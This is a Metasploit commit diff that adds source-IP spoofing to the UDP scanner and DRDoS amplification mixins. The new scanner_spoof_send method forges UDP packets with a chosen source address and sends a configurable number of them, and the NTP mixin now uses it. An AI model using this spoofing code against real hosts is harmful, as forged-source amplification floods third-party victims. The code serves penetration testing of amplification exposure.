Land #3834, @jabra-'s updates to UDPscanner to support spoofing

bug/bundler_fix
Jon Hart 2014-09-22 11:49:53 -07:00
commit 4e9f1282de
No known key found for this signature in database
GPG Key ID: 2FA9F0A3AFA8E9D3
9 changed files with 51 additions and 32 deletions

View File

@ -8,6 +8,22 @@ module Msf
###
module Auxiliary::DRDoS
def initialize(info = {})
super
register_advanced_options(
[
OptAddress.new('SRCIP', [false, 'Use this source IP']),
OptInt.new('NUM_REQUESTS', [false, 'Number of requests to send', 1]),
], self.class)
end
def setup
super
if spoofed? && datastore['NUM_REQUESTS'] < 1
raise Msf::OptionValidateError.new(['NUM_REQUESTS']), 'The number of requests must be >= 1'
end
end
def prove_amplification(response_map)
vulnerable = false
proofs = []
@ -43,5 +59,9 @@ module Auxiliary::DRDoS
[ vulnerable, proofs.join(', ') ]
end
def spoofed?
!datastore['SRCIP'].nil?
end
end
end

View File

@ -1,6 +1,6 @@
# -*- coding: binary -*-
require 'rex/proto/ntp'
require 'msf/core/exploit'
module Msf
###
@ -10,6 +10,7 @@ module Msf
###
module Auxiliary::NTP
include Exploit::Capture
include Auxiliary::Scanner
#
@ -29,5 +30,15 @@ module Auxiliary::NTP
OptInt.new('IMPLEMENTATION', [true, 'Use this NTP mode 7 implementation', 3])
], self.class)
end
# Called for each IP in the batch
def scan_host(ip)
if spoofed?
datastore['ScannerRecvWindow'] = 0
scanner_spoof_send(@probe, ip, datastore['RPORT'], datastore['SRCIP'], datastore['NUM_REQUESTS'])
else
scanner_send(@probe, ip, datastore['RPORT'])
end
end
end
end

View File

@ -69,6 +69,24 @@ module Auxiliary::UDPScanner
scanner_postscan(batch)
end
# Send a spoofed packet to a given host and port
def scanner_spoof_send(data, ip, port, srcip, num_packets=1)
open_pcap
p = PacketFu::UDPPacket.new
p.ip_saddr = srcip
p.ip_daddr = ip
p.ip_ttl = 255
p.udp_src = (rand((2**16)-1024)+1024).to_i
p.udp_dst = port
p.payload = data
p.recalc
print_status("Sending #{num_packets} packet(s) to #{ip} from #{srcip}")
1.upto(num_packets) do |x|
capture_sendto(p, ip)
end
close_pcap
end
# Send a packet to a given host and port
def scanner_send(data, ip, port)

View File

@ -46,12 +46,7 @@ class Metasploit3 < Msf::Auxiliary
], self.class)
end
# Called for each IP in the batch
def scan_host(ip)
scanner_send(@probe, ip, datastore['RPORT'])
end
# Called for each response packet
# Called for each response packet
def scanner_process(data, shost, sport)
@results[shost] ||= { messages: [], peers: [] }
@results[shost][:messages] << Rex::Proto::NTP::NTPPrivate.new(data)

View File

@ -34,11 +34,6 @@ class Metasploit3 < Msf::Auxiliary
)
end
# Called for each IP in the batch
def scan_host(ip)
scanner_send(@probe, ip, datastore['RPORT'])
end
# Called before the scan block
def scanner_prescan(batch)
@results = {}

View File

@ -34,11 +34,6 @@ class Metasploit3 < Msf::Auxiliary
)
end
# Called for each IP in the batch
def scan_host(ip)
scanner_send(@probe, ip, datastore['RPORT'])
end
# Called for each response packet
def scanner_process(data, shost, sport)
@results[shost] ||= []

View File

@ -35,11 +35,6 @@ class Metasploit3 < Msf::Auxiliary
)
end
# Called for each IP in the batch
def scan_host(ip)
scanner_send(@probe, ip, datastore['RPORT'])
end
# Called for each response packet
def scanner_process(data, shost, sport)
@results[shost] ||= []

View File

@ -36,11 +36,6 @@ class Metasploit3 < Msf::Auxiliary
)
end
# Called for each IP in the batch
def scan_host(ip)
scanner_send(@probe, ip, datastore['RPORT'])
end
# Called for each response packet
def scanner_process(data, shost, sport)
@results[shost] ||= []

View File

@ -34,11 +34,6 @@ class Metasploit3 < Msf::Auxiliary
)
end
# Called for each IP in the batch
def scan_host(ip)
scanner_send(@probe, ip, datastore['RPORT'])
end
# Called for each response packet
def scanner_process(data, shost, sport)
@results[shost] ||= []